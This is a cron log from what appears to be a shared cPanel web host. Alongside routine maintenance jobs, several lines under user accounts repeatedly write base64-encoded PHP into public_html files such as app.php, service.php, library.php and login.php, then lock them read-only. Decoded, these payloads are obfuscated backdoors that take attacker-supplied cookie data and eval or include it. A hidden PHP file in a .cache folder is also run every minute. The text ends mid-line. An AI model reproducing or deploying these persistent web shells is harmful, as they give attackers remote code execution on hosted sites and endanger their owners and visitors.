Mar  1 08:19:02 medusa CROND[4253]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:19:02 medusa CROND[4256]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:19:02 medusa CROND[4257]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:20:01 medusa CROND[26359]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 08:20:01 medusa CROND[26379]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 08:20:01 medusa CROND[26387]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:20:01 medusa CROND[26447]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 08:20:01 medusa CROND[26452]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 08:20:01 medusa CROND[26592]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 08:20:01 medusa CROND[26594]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 08:20:01 medusa CROND[26596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:20:01 medusa CROND[26597]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:20:01 medusa CROND[26598]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 08:20:01 medusa CROND[26610]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:20:01 medusa CROND[26612]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 08:20:01 medusa CROND[26613]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 08:20:01 medusa CROND[26619]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 08:20:01 medusa CROND[26620]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:20:01 medusa CROND[26621]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:20:01 medusa CROND[26615]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 08:20:01 medusa CROND[26622]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:20:01 medusa CROND[26617]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 08:20:01 medusa CROND[26627]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:20:01 medusa CROND[26614]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 08:20:01 medusa CROND[26616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:20:01 medusa CROND[26608]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 08:20:01 medusa CROND[26609]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 08:20:01 medusa CROND[26634]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:20:01 medusa CROND[26635]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:20:01 medusa CROND[26638]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 08:20:01 medusa CROND[26640]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:20:01 medusa CROND[26642]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 08:20:01 medusa CROND[26618]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 08:21:01 medusa CROND[16649]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 08:21:01 medusa CROND[16687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:21:01 medusa CROND[16688]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:21:01 medusa CROND[16689]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:21:01 medusa CROND[16690]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:21:01 medusa CROND[16691]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRV